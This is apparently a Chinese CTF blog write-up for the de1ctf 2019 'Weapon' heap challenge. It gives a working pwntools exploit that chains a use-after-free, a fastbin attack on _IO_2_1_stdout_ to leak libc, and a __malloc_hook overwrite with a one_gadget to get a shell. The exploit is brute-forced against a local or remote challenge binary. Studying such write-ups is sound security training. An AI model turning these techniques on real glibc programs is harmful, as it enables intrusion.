de1ctf_2019_weapon (IO_FILE)

这道题的方法对于我来说有点陌生,堆操作之后利用IO_FILE的相关知识,记录一下,以后还会有更多对于 IO 的利用
de1ctf_2019_weapon (IO_FILE)_第1张图片
保护机制全开,所以常规方法肯定没办法

分析程序:
de1ctf_2019_weapon (IO_FILE)_第2张图片
这是主程序

de1ctf_2019_weapon (IO_FILE)_第3张图片
menu函数

de1ctf_2019_weapon (IO_FILE)_第4张图片
create函数
逻辑是输入申请大小,在输入index,然后就写入chunk
没有任何检查,比如申请过的index不能用之类的
最简洁的申请函数

de1ctf_2019_weapon (IO_FILE)_第5张图片
delete函数
同样是简洁的释放函数,而且有 uaf 漏洞

de1ctf_2019_weapon (IO_FILE)_第6张图片
rename函数
改写chunk内容,写入的时候貌似没有溢出,但是 uaf 能用在这上面


程序看似简单,但是保护机制全开,而且没有任何输出函数可以让我泄露出什么
然后就遇到了我不太熟悉的方法,就是利用 __IO_2_1_stdout 来泄露信息

记录一下 IO_FILE 基本的信息,虽然到目前为止还是不太清楚,也就只能做一道题看一道了

pwndbg> ptype stdout
type = struct _IO_FILE {
    int _flags;
    char *_IO_read_ptr;
    char *_IO_read_end;
    char *_IO_read_base;
    char *_IO_write_base;
    char *_IO_write_ptr;   //本题用到的 IO_write_ptr 和 IO_write_base
    char *_IO_write_end;
    char *_IO_buf_base;
    char *_IO_buf_end;
    char *_IO_save_base;
    char *_IO_backup_base;
    char *_IO_save_end;
    struct _IO_marker *_markers;
    struct _IO_FILE *_chain;
    int _fileno;
    int _flags2;
    __off_t _old_offset;
    unsigned short _cur_column;
    signed char _vtable_offset;
    char _shortbuf[1];
    _IO_lock_t *_lock;
    __off64_t _offset;
    struct _IO_codecvt *_codecvt;
    struct _IO_wide_data *_wide_data;
    struct _IO_FILE *_freeres_list;
    void *_freeres_buf;
    size_t __pad5;
    int _mode;
    char _unused2[20];
} *

这是IO_FILE 结构体

#define _IO_MAGIC 0xFBAD0000 /* Magic number */
#define _OLD_STDIO_MAGIC 0xFABC0000 /* Emulate old stdio. */
#define _IO_MAGIC_MASK 0xFFFF0000
#define _IO_USER_BUF 1 /* User owns buffer; don't delete it on close. */
#define _IO_UNBUFFERED 2
#define _IO_NO_READS 4 /* Reading not allowed */
#define _IO_NO_WRITES 8 /* Writing not allowd */
#define _IO_EOF_SEEN 0x10
#define _IO_ERR_SEEN 0x20
#define _IO_DELETE_DONT_CLOSE 0x40 /* Don't call close(_fileno) on cleanup. */
#define _IO_LINKED 0x80 /* Set if linked (using _chain) to streambuf::_list_all.*/
#define _IO_IN_BACKUP 0x100
#define _IO_LINE_BUF 0x200
#define _IO_TIED_PUT_GET 0x400 /* Set if put and get pointer logicly tied. */
#define _IO_CURRENTLY_PUTTING 0x800
#define _IO_IS_APPENDING 0x1000
#define _IO_IS_FILEBUF 0x2000
#define _IO_BAD_SEEN 0x4000
#define _IO_USER_LOCK 0x8000

这是 IO_FILE 中 __flags 各位的定义

struct _IO_FILE_plus
{
  _IO_FILE file;
  const struct _IO_jump_t *vtable;
};

同时 _IO_FILE 被包含于 _IO_FILE_plus 这个结构体当中,其中第二个成员是这个结构体的函数虚表
de1ctf_2019_weapon (IO_FILE)_第7张图片
_IO_FILE 存在形式是链表,链表的头节点是 IO_list_all ,
在这里插入图片描述
总之 IO_list_all 指向了 stderr (文件描述符是2),然后是 stdout (fd为1 ),最后是 stdin (fd为0),之后比如打开一个文件啥的就新创建一个 IO_FILE ,然后插入到 IO_list_all 与 stderr 之间吧(这句不要听,仅仅是我的猜测,我知识不够,,,因为打开第一个文件的文件描述符一般是3嘛,我按照这个与推测的)。

听过大佬讲课,讲到过利用 _IO_2_1_stdout ,因此我才做的这道题,许多细节要读源码才能知道,但是我看不懂。。。总之利用方法就是将 flags 覆盖为 0xfbad1800 , 然后输出函数比如puts的话是根据 IO_wirte_ptr - IO_write_base 来作为输出大小来输出的,所以将 IO_write_base 改小就能多输出一些东西,里面就有相关的libc 地址,根据偏移就能得到libc 基址

#coding:utf8
from pwn import *

context(os='linux',arch='amd64',log_level='debug')

#sh = process("./Weapon")
#sh = remote("node3.buuoj.cn","25197")
one_gadget = [0x45216,0x45261,0xf02a4,0xf1147]

def g():
	gdb.attach(sh)

def create(size,index,name):
	sh.sendafter("choice >> \n",'1\n')
	sh.sendafter("wlecome input your size of weapon: ",str(size)+'\n')
	sh.sendafter("input index: ",str(index)+'\n')
	sh.sendafter("input your name:\n",name)
	
def createX(size,index,name):
	sh.sendafter("choice >> ",'1\n')
	sh.sendafter("wlecome input your size of weapon: ",str(size)+'\n')
	sh.sendafter("input index: ",str(index)+'\n')
	sh.sendafter("input your name:",name)

def delete(index):
	sh.sendafter("choice >> \n",'2\n')
	sh.sendafter("input idx :",str(index)+'\n')

def deleteX(index):
	sh.sendafter("choice >> ",'2\n')
	sh.sendafter("input idx :",str(index)+'\n')
	
def rename(index,content):
	sh.sendafter("choice >> \n",'3\n')
	sh.sendafter("input idx: ",str(index)+'\n')
	sh.sendafter("new content:\n",content)

def renameX(index,content):
	sh.sendafter("choice >> ",'3\n')
	sh.sendafter("input idx: ",str(index)+'\n')
	sh.sendafter("new content:",content)
	

def baopo():
	create(32,0,p64(0) + p64(0x21))
	create(16,1,'1'*16)
	create(16,2,'2'*16)
	create(16,3,p64(0x70)+p64(0x51))

	delete(1)
	delete(2)

	rename(2,'\x10')

	create(16,4,'4'*16) #2 out of bins
	create(16,5,'\x00')
	create(48,6,'\x00') #6和7是凑数的,为了释放0x100的时候,下一个堆块得写入presize
	create(48,7,'\x00')
	create(16,8,'\x00') #防止fake chunk与top合并

	rename(0,p64(0x0)+p64(0x71))

	delete(5)

	rename(0,p64(0x0)+p64(0x101))

	delete(5)
	#g()
	
	rename(0,p64(0x0)+p64(0x71))

	rename(5,'\xdd'+'\x65')
	#g()
	create(96,5,'\x00')
	#g()
	
	create(96,9,'\x00')  #IO_2_1_stdout 此处爆破

	g()	

	x = '\x00' * (0x620-0x5dd-0x10) + p64(0xfbad1800) + p64(0)*3 + '\x00' #IO_write_base改小
	rename(9,x) 
	
	g()
	sh.recvuntil(p64(0xfbad1800)+p64(0)*3)
	sh.recv(8)
	libc_base = u64(sh.recv(8)) - 131 -0x3c5620
	#  <_IO_2_1_stdout_+131>
	
	print(hex(libc_base))
	#g()
	malloc_hook = libc_base + 0x3c4b10
	
	createX(96,5,'\x00') #改完io之后puts完没有换行。。。
	
	deleteX(5)
	
	renameX(5,p64(malloc_hook-0x23))
	#g()
	createX(96,5,'\x00')
	
	createX(96,1,'\x00'*0x13 + p64(one_gadget[3] + libc_base))
	#g() 
	
	
	
	
	
	

if(__name__ == '__main__'):

	while(1):
		try:
			sh  = process('./Weapon')
			#sh = remote("node3.buuoj.cn","27532")
			baopo()
			sh.interactive()
			break
		except Exception as e:
			print(e)
			sh.close()
			continue
	'''

	sh = process("./Weapon")
	baopo()
	sh.interactive()
	'''

先贴上我的exp

下面是步骤:
程序只能申请fastbin,要得到unsortedbin就要伪造一个大的chunk然后free,之后就拥有了unsortedbin,能够得到一个main_arena的地址
de1ctf_2019_weapon (IO_FILE)_第8张图片
首先申请这样的四个堆块
de1ctf_2019_weapon (IO_FILE)_第9张图片
(地址看后三位就好,不是一次程序截的图)
之后free 1和 2 ,构成了如上图的链表,这时候编辑 chunk2 ,将fd指针的最后一个字节改为 /x10 ,那 chunk1 + 0x10 那个位置的伪造堆块就进入链表了,大小是 0x20 正合适
de1ctf_2019_weapon (IO_FILE)_第10张图片
之后申请两次将chunk2 和 chunk1 申请走
在申请两个chunk,这俩chunk是凑数的,因为我之后要将 fake chunk 的size改为0x70 和 0x100,改了之后要free,free之后就要在下一个chunk的presize写下前一个chunk的大小也就是0x100,所以这里要对其,create两个chunk凑数,,并且在中间的那个大小为0x20的chunk3里面写上0x50,这里也是同样伪造一个chunk,为了free的时候欺骗系统,这里是个堆块,你写presize吧
de1ctf_2019_weapon (IO_FILE)_第11张图片
之后就释放fake chunk 两次,一次大小是0x70,一次大小是0x100,中间通过rename chunk0来改size(之后再将size改回0x70,后面要申请走这个chunk,所以要通过检查,现在它连在0x70链上,所以size改回0x70)
de1ctf_2019_weapon (IO_FILE)_第12张图片
注:这里释放的顺序一定得是 0x70 然后 0x100 ,这样才能在fastbin链上连上main_arena,因为没有任何输出函数,我们只能修改这时候的 main_arena + 88 这个地址为 IO_stdout 附近,并不能泄露出来,
de1ctf_2019_weapon (IO_FILE)_第13张图片
但是如上图,这俩地址的只有最后四位不一样,而且 IO_2_1_stdout 的后三位永远是620,所以只需要爆破倒数第四位就行了,(其实我发现这俩地址倒数第五位有时候也不一样,但是概率不高,爆破的时候不要管就行了)

然后覆盖成那个地址呢?620这个地址肯定不行,申请的时候0x70的fastbin检查过不了,所以往前找
de1ctf_2019_weapon (IO_FILE)_第14张图片
高亮的地址适合伪造chunk,7fd开头的地址,后面是0,
de1ctf_2019_weapon (IO_FILE)_第15张图片
5dd这个地址就可以当作伪造堆块了,所以后三位覆盖为5dd,倒数第四位随便来一个数,后面写脚本的时候爆破
de1ctf_2019_weapon (IO_FILE)_第16张图片
这样就修改完了,连续申请两个 0x70大小的chunk,就能申请到 IO_2_1_stdour 附近
之后覆盖flags 为 0xfbad1800 ,然后覆盖 IO_write_base 的最后两位为 /x00,也就是将它改小,就能泄露出很多东西
de1ctf_2019_weapon (IO_FILE)_第17张图片
之后在调用puts就会打印很多,黄线的部分就是flags,所以这是吧 IO_2_1_stdout 里面的东西打印了??这里我不知道为啥。。
那既然这样就看一下 IO_2_1_stdout 里面
de1ctf_2019_weapon (IO_FILE)_第18张图片
这是puts之后的 IO_2_1_stdout ,但是很多东西是一样的,我刚才覆盖的时候覆盖到 write_base ,那就看他的下一个,也就是 _IO_write_ptr,那里显示的是 <IO_2_1_stdout+132>,然后在libc里面查一下 IO_2_1_stdout 的偏移就知道libc基址了
de1ctf_2019_weapon (IO_FILE)_第19张图片(ubuntu16)

这里出现了一个问题
在这里插入图片描述
明显看到 base 和 ptr 不一样了,但是正常情况下这俩在puts完之后应该是一样的
de1ctf_2019_weapon (IO_FILE)_第20张图片
上图是修改 stdout之前


这就导致一个问题,
de1ctf_2019_weapon (IO_FILE)_第21张图片之前的菜单
de1ctf_2019_weapon (IO_FILE)_第22张图片之后的菜单
这个换行符怎么没了???
可能是因为修改完之后出了些问题,导致上面 base 和 ptr 不一样,那个/n没有打印出来,
这样的话修改stdout之后的exp就得修改一下了,菜单那个 choice 不加换行符


之后有了libc基址,就知道了 malloc_hook的地址,之后就是像之前一样的利用方法,(虽然对我还是很陌生)
先是修改fastbin链表,指向 malloc_hook - 0x23 的位置,然后申请到这个位置,覆盖malloc_hook为one_gadget
经测试第四个可以用,(one_gadget 命令加上参数l 会出现更多one_gadget)
最后再申请一个堆块用malloc触发one_gadget

你可能感兴趣的:(de1ctf_2019_weapon (IO_FILE))